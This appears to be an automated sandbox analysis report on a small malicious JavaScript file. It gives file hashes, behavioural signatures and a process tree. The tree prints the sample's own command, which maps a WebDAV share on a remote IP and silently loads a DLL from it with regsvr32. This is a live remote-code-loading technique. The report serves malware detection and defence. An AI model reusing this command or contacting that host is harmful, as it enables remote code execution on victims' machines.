Analysis

  • max time kernel
    130s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 03:06

General

  • Target

    c8a22a769afc05fb44eefb3d9f13b3b057c2aaacae207f2eba8ec2cbfab46aa8.js

  • Size

    4KB

  • MD5

    f6ac4d42905f8dbb66c76f343a696e7b

  • SHA1

    1a68eb25a4f406f444a5389f7f64a75a34b8d407

  • SHA256

    c8a22a769afc05fb44eefb3d9f13b3b057c2aaacae207f2eba8ec2cbfab46aa8

  • SHA512

    b6ca60927c2b4a9db62220f74ce51c2248f2418634d1fc1392f79ab53076429c02f998a2291b1e42c6577e7648d7d332c81774c5858de54a9e529cf804c2badf

  • SSDEEP

    96:abuqY1YgiKqC7CYPf3jswww6NxC6U6kAkscjswww6NxC6U6kNTl:UMK90+NgAkL+NgX

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c8a22a769afc05fb44eefb3d9f13b3b057c2aaacae207f2eba8ec2cbfab46aa8.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\756431328129.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4944
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:888

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads